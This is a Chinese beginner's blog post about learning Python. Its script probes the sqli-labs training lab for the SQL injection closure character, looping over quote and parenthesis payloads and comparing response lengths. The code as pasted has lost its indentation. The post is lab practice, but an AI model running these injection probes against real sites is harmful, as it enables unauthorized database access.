头一天开始学python,在w3c上看了整整一天,第二天就开始对着一个成品的脚本尝试着敲了一个小脚本用来跑闭合的,和老师一起发现了几个关于python里urllib.request模块额问题
代码一直就敲的不是很好,勿喷
上源码
import urllib.request
url = ""
url_bihe = "http://192.168.60.129/sqli-labs-master/Less-1/" #被攻击网页的urldef FindBihe():
bihe = ['', '%27', '%22', ')', '%27)', '%22)', '))', '%27))', '%22))']
for i in bihe:
url_bihe2=url_bihe+"?id=1"+i+"%20and%201=2--+"
res=urllib.request.urlopen(url_bihe2)
length = len(res.read()) #长度一样不解码以提高程序效率
url_bihe1=url_bihe+"?id=1"+i+"and%201=1--+"
res1=urllib.request.urlopen(url_bihe1)
length1 = len(res1.read())
if(length1 != length):
print('该网页sql注入闭合是'+i)
return i
break
print('匹配失败')
return iFindBihe()
测试环境Python自带IDLE
需要注意的是,
urllib.request.urlopen函数所接受的URL对格式有着严格的要求,必须把在内的所有空格改为url编码的%20,所测试闭合也要改为相应的编码格式,不然程序会报错
之前就是卡在url这一步,很绝望,所有思路都写好就是报错,十分绝望,看到这篇博客的朋友可以少走点弯路
这里把这个功能添加为一个函数,准备日后找些碎片时间写一个整合的自动化注入脚本
就当对SQL注入更好地理解了吧